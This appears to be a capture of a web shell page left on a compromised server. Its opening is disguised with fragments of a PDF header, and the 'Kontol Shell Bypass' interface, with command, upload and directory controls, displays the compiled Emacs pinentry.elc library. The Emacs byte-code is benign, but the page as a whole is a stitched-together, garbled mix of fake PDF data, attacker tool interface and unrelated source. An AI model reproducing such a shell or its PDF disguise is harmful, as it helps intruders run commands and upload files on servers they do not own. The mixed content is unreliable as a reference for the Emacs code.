%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :
ikan Uploader :
Directory :  /usr/share/emacs/25.2/lisp/net/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //usr/share/emacs/25.2/lisp/net/pinentry.elc
;ELC
;;; Compiled
;;; in Emacs version 25.2.1
;;; with all optimizations.

;;; This file uses dynamic docstrings, first added in Emacs 19.29.

;;; This file does not contain utf-8 non-ASCII characters,
;;; and so can be loaded in Emacs versions earlier than 23.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


(byte-code "\300\301\302\303\304\305\306\307&\210\310\311\312\313\314DD\315\316\317\306\301&\210\310\320\312\313\321DD\322\316\323\306\301&\207" [custom-declare-group pinentry nil "The Pinentry server" :version "25.1" :group external custom-declare-variable pinentry-popup-prompt-window funcall function #[0 "\300\207" [t] 1] "If non-nil, display multiline prompt in another window." :type boolean pinentry-prompt-window-height #[0 "\300\207" [5] 1] "Number of lines used to display multiline prompt." integer] 8)
(defvar pinentry-debug nil)
(defvar pinentry-debug-buffer nil)
(defvar pinentry--server-process nil)
(defvar pinentry--connection-process-list nil)
(defvar pinentry--labels nil)
(put 'pinentry-read-point 'permanent-local t)
(defvar pinentry--read-point nil)
(put 'pinentry--read-point 'permanent-local t)
(defvar pinentry--prompt-buffer nil)
#@101 The directory in which to place the server socket.
If local sockets are not supported, this is nil.
(defvar pinentry--socket-dir (byte-code "\300\301\302\303!\206	\304\305 #\207" [format "%s/emacs%d" getenv "TMPDIR" "/tmp" user-uid] 4) (#$ . 1270))
(defconst pinentry--set-label-commands '("SETPROMPT" "SETTITLE" "SETDESC" "SETREPEAT" "SETREPEATERROR" "SETOK" "SETCANCEL" "SETNOTOK"))
(defalias 'pinentry--error-code '(macro . #[257 "\300\301\302\303\"\"\207" [logior lsh 5 24] 5 "\n\n(fn CODE)"]))
(defconst pinentry--error-not-implemented (cons 83886149 "not implemented"))
(defconst pinentry--error-cancelled (cons 83886179 "cancelled"))
(defconst pinentry--error-not-confirmed (cons 83886194 "not confirmed"))
(autoload 'server-ensure-safe-dir "server")
(defvar pinentry-prompt-mode-map (byte-code "\300 \301\302\303#\210\211\207" [make-sparse-keymap define-key "q" quit-window] 5))
#@165 Hook run after entering Pinentry mode.
No problems result if this variable is not bound.
`add-hook' automatically binds it.  (This is true for all hook variables.)
(defvar pinentry-prompt-mode-hook nil (#$ . 2167))
(byte-code "\300\301!\204\f\302\301\303\304#\210\300\207" [boundp pinentry-prompt-mode-map put definition-name pinentry-prompt-mode] 4)
(defvar pinentry-prompt-mode-map (make-sparse-keymap))
(byte-code "\300\301N\204\302\300\301\303\304!#\210\305\306!\204\302\306\307\310#\210\300\207" [pinentry-prompt-mode-map variable-documentation put purecopy "Keymap for `pinentry-prompt-mode'." boundp pinentry-prompt-mode-syntax-table definition-name pinentry-prompt-mode] 5)
(defvar pinentry-prompt-mode-syntax-table (make-syntax-table))
(byte-code "\300\301N\204\302\300\301\303\304!#\210\302\305\306\307#\207" [pinentry-prompt-mode-syntax-table variable-documentation put purecopy "Syntax table for `pinentry-prompt-mode'." pinentry-prompt-mode-abbrev-table definition-name pinentry-prompt-mode] 5)
(defvar pinentry-prompt-mode-abbrev-table (progn (define-abbrev-table 'pinentry-prompt-mode-abbrev-table nil) pinentry-prompt-mode-abbrev-table))
(byte-code "\300\301N\204\302\300\301\303\304!#\210\302\305\306\307#\207" [pinentry-prompt-mode-abbrev-table variable-documentation put purecopy "Abbrev table for `pinentry-prompt-mode'." pinentry-prompt-mode derived-mode-parent special-mode] 5)
#@239 Major mode for `pinentry--prompt-buffer'.

In addition to any hooks its parent mode `special-mode' might have run,
this mode runs the hook `pinentry-prompt-mode-hook', as the final step
during initialization.

\{pinentry-prompt-mode-map}
(defalias 'pinentry-prompt-mode #[0 "\306\300!\210\307\310 \210\311\312\310\313N\203\314\311\313\310\313N#\210\315!\204'\316\317 \"\210\320\f!\211\2035\211\321 =\203;\322\f\323 \"\210\210\324
\325\"\204R
=\204R\326
\325C#\210\327!\210\330\f!\210
\331 \210\307\211)\332\333!\207" [delay-mode-hooks major-mode mode-name pinentry-prompt-mode-map pinentry-prompt-mode-syntax-table pinentry-prompt-mode-abbrev-table make-local-variable t special-mode pinentry-prompt-mode "Pinentry" mode-class put keymap-parent set-keymap-parent current-local-map char-table-parent standard-syntax-table set-char-table-parent syntax-table abbrev-table-get :parents abbrev-table-put use-local-map set-syntax-table buffer-disable-undo run-mode-hooks pinentry-prompt-mode-hook local-abbrev-table truncate-lines buffer-read-only] 6 (#$ . 3583) nil])
(defalias 'pinentry--prompt #[642 "\305\236A\306\236A\307\236A\310\311\"\203\211\312\211\224O\313P\262\203+\314\315\316\306#\317R\262\203\253\203\253\320 \321\312\322\323\324!\325\"\326$\216\327 \210	\203N\330	!\204R\331\332!\333	!\203^\334\333	!!\210r	q\210\335\336\337 \210c\210*\340 \210eb\210)\341 \fV\203\211\342\343\336\341 \fZ\"	\"\210\202\233\344	!\210\341 \fV\203\233\345\341 \fZ!\210\346#\347 \210)\262\202\264\346\317Q#\207" [pinentry-popup-prompt-window pinentry--prompt-buffer buffer-read-only inhibit-read-only pinentry-prompt-window-height desc error prompt string-match "[ \n]*\\'" 0 " " "Error: " propertize face "\n" current-window-configuration make-byte-code "\301\300!\207" vconcat vector [set-window-configuration] 2 delete-other-windows buffer-live-p generate-new-buffer "*Pinentry*" get-buffer-window delete-window t nil erase-buffer pinentry-prompt-mode window-height set-window-buffer split-window pop-to-buffer shrink-window apply quit-window] 13 "\n\n(fn LABELS QUERY-FUNCTION &rest QUERY-ARGS)"])
#@260 Start a Pinentry service.

Once the environment is properly set, subsequent invocations of
the gpg command will interact with Emacs for passphrase input.

If the optional QUIET argument is non-nil, messages at startup
will not be shown.

(fn &optional QUIET)
(defalias 'pinentry-start #[256 "\303\304\305\"\204\306\307!\210\310!\203\211?\205f\311\312!\207\313\314	\"\315	!\210\31610\317\320!)0\2024\210\2025\210\321 \322\323\324\325\326!\327\"\330$\216\331\332!\210\304\333\314\334\335\336\335\337\340\341\342\343\344\345\346\347&\350\351#)\262\262\207" [pinentry--server-process pinentry--socket-dir delete-by-moving-to-trash featurep make-network-process (:family local) error "local sockets are not supported" process-live-p message "Pinentry service is already running" expand-file-name "pinentry" server-ensure-safe-dir (error) nil delete-file default-file-modes make-byte-code 0 "\300\301!\210\211\207" vconcat vector [set-default-file-modes] 3 set-default-file-modes 448 :name :server t :noquery :sentinel pinentry--process-sentinel :filter pinentry--process-filter :coding no-conversion :family local :service process-put :server-file] 20 (#$ . 5741) nil])
#@26 Stop a Pinentry service.
(defalias 'pinentry-stop #[0 "\302!\203\n\303!\210\304	\211\203(\211@\305\306!!\203!\307\306!!\210A\266\202\202
\210\304\211\207" [pinentry--server-process pinentry--connection-process-list process-live-p delete-process nil buffer-live-p process-buffer kill-buffer] 5 (#$ . 6933) nil])
#@63 Convert strings in LABEL by stripping mnemonics.

(fn LABELS)
(defalias 'pinentry--labels-to-shortcuts #[257 "\300\301\"\207" [mapcar #[257 "\211\205L\300\301\302\"\203'\303\304\"\211\305H\227\262\306\307\310\311#\312\211$\262\210\2028G\305U\2032\313\2026\305H\227\262\301\314\"\203G\306\315\312\211$\262\211B\262\207" [nil string-match "\\(?:\\`\\|[^_]\\)_\\([[:alnum:]]\\)" match-string 1 0 replace-match propertize face underline t 63 "__" "_"] 8 "\n\n(fn LABEL)"]] 4 (#$ . 7261)])
#@58 Escape STRING in the Assuan percent escape.

(fn STRING)
(defalias 'pinentry--escape-string #[257 "\211G\300\211W\203H\301>\203\211T\262T\262\202\300\262\302\303_\\\300\"\300\304W\203tH\262\211\305>\203d\306\307\"\310I\210T\262\300HI\210T\262\311HI\210T\262\210\202mI\210T\262T\262\202*\266\203\207" [0 (10 13 37) make-string 2 nil (10 13 37) format "%02X" 37 1] 12 (#$ . 7774)])
#@60 Unescape STRING in the Assuan percent escape.

(fn STRING)
(defalias 'pinentry--unescape-string #[257 "\211G\300\301\300\"\300\302W\203OH\262\211\303=\203?\304\\W\203?\305T\306\\O\307\"I\210T\262\304\\\262\202HI\210T\262T\262\202	\300O\266\203\207" [0 make-string nil 37 2 string-to-number 3 16] 13 (#$ . 8210)])
#@149 Send a string ESCAPED to a process PROCESS.
ESCAPED will be split if it exceeds the line length limit of the
Assuan protocol.

(fn PROCESS ESCAPED)
(defalias 'pinentry--send-data #[514 "\211G\300\300U\203\301\302\"\202H\211W\205HZ\303^\211\\O\304\300\305\306\307!\310\"\311$\216\301\312\"\210\301\"\210\301\313\"\210)\\\266\203\202\207" [0 process-send-string "D \n" 997 make-byte-code "\301\300!\207" vconcat vector [clear-string] 2 "D " "\n"] 12 (#$ . 8564)])
(defalias 'pinentry--send-error #[514 "\300\301\302@A#\"\207" [process-send-string format "ERR %d %s\n"] 8 "\n\n(fn PROCESS ERROR)"])
(defalias 'pinentry--process-filter #[514 "\306\307!!\204*\310\311!\312\"\210r\211q\210\313\314!\203\314\315!\210\316\300!\210e\316\304!\210)\210r\307!q\210	\203Gr\n\206>\310\317!\211q\210db\210\211c\210)\212db\210\211c\210b\210\320 \210\321\322!\205y\321\323!\203T\324\325!\326\324\327!!\211\235\262\203\257G\330V\203\232\331\332\315O\227!\211\f\236\333\334\"\203\222\241\210\202\230B\fB\266\3351\246\336\337\"0\202\252\210\202\253\210\210\202o\340\232\203\311\3411\301\336\337\"0\202\305\210\202o\210\202o\342\232\203@\343\f\236??\315C\315C\315C\344\330\345\346\347#\350\"\327$\216\3511!\352\f\353#\240\210\354\242!\240\210\211\355\242\334\"\240\210\3561\357\242\"\210\336\337\"0\202\210\3150\2027\360\361\"\210\36213\363	
\"0\2025\210\315\262\210)\266\315\202o\364\232\203[\365\f\236A\206N\366\367\315\370\371\f\236A\372\f\236A\373\f\236AE!\"\315\203\373\374\375\376\377#\201BR\262\365\f\236\211\262\203\202\211\241\210\202\210\365B\fB\201C1\345\352\f\201D\"\211@@=\203\260\201E1\253\336\337\"0\202\337\210\315\202\337\211A@@=\203\316\201F1\311\363@\"0\202\337\210\315\202\337\201G1\335\363
\"0\202\337\210\315\2620\202\367\210\201H1\365\363
\"0\202\367\210\315\210\202T\365\f\236\211\262\203\211\241\210\202\365B\fB\201I1!\352\f\201J\"0\202%\210\202?\203?\201K17\336\337\"0\202;\210\202T\210\202T\201L1O\363@\"0\202S\210\202T\210\315\266\202o\201M1j\363A\"0\202n\210\202o\210\315y\210`\266\202T*\207" [pinentry--read-point pinentry-debug pinentry-debug-buffer pinentry--set-label-commands pinentry--labels pinentry--error-cancelled buffer-live-p process-buffer generate-new-buffer " *pinentry*" set-process-buffer fboundp set-buffer-multibyte nil make-local-variable " *pinentry-debug*" beginning-of-line looking-at ".*\n" "\\([A-Z_]+\\) ?\\(.*\\)" match-string 1 pinentry--unescape-string 2 0 intern 3 decode-coding-string utf-8 (error) process-send-string "OK\n" "NOP" (error) "GETPIN" repeat make-byte-code "\300\242\203\n\303\300\242!\210\301\242\203\303\301\242!\210\302\242\205\303\302\242!\207" vconcat vector [clear-string] (error) pinentry--prompt read-passwd pinentry--escape-string encode-coding-string (error) pinentry--send-data message "GETPIN error %S" (error) pinentry--send-error "CONFIRM" prompt "Confirm? " delq pinentry--labels-to-shortcuts ok notok cancel " (" mapconcat cdr ", " pinentry--error-not-confirmed pinentry--error-not-implemented ") " (error) read-char (error) (error) (error) (error) (quit) y-or-n-p (error) (error) (error)] 16 "\n\n(fn PROCESS INPUT)"])
#@73 The process sentinel for Emacs server connections.

(fn PROCESS STATUS)
(defalias 'pinentry--process-sentinel #[514 "\301!\302=\203(\303!\203(B\304\305\"\210\3061#\307\310\"0\202'\210\202(\210\311\312\"\204J\301!\313=\203J\314\315!!\203E\316\315!!\210\317\"\311\312\"\205g\301!\313=\205g\3201e\321\322\323\"!0\207\210\305\207" [pinentry--connection-process-list process-status open process-query-on-exit-flag set-process-query-on-exit-flag nil (error) process-send-string "OK Your orders please\n" process-contact :server closed buffer-live-p process-buffer kill-buffer delq (error) delete-file process-get :server-file] 6 (#$ . 11856)])
(provide 'pinentry)

Kontol Shell Bypass